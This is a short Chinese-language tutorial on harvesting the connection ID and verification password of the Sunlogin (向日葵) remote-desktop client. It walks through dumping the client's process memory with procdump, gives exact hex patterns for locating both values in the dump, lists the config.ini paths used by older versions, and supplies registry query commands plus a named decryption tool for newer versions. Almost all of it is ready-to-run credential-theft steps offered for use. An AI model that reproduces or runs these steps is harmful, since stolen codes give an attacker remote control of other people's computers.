向日葵新版密码抓取

向日葵新版密码抓取，必须dump内存，十六进制查找，新版不存在配置文件中。

最新版本-内存查找

首先找到向日葵用户进程，然后使用procdump等工具转储进程内存。

1 2	tasklist /v | findstr /i sunlogin procdump64.exe -accepteula -ma 进程号

使用Winhex打开转储文件，按下Ctrl+Alt+X快捷键打开十六进制值搜索功能，搜索十六进制值66617374636F646522203A20226b，即可找到本机识别码。

搜索十六进制值000000000000003C6620663D79616865692E626F6C642E323420633D 636F6C6F725F65646974203E，使用F3快捷键可以跳到下一个匹配处，多跳2次即可找到本机验证码。

旧版本-----默认配置文件路径:

1 2	安装版：C:\Program Files\Oray\SunLogin\SunloginClient\config.ini 便携版：C:\ProgramData\Oray\SunloginClient\config.ini

使用工具解密即可

wafinfo/Sunflower_get_Password: 一款针对向日葵的识别码和验证码提取工具 (github.com)

较新版本-注册表查找

在向日葵v11.1.2.38529中，强化了加密机制，删除了配置文件config.ini中的fastcode（本机识别码）字段和encry_pwd(本机验证码)字段，而将这些敏感信息放到了注册表中，我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。

1 2	reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo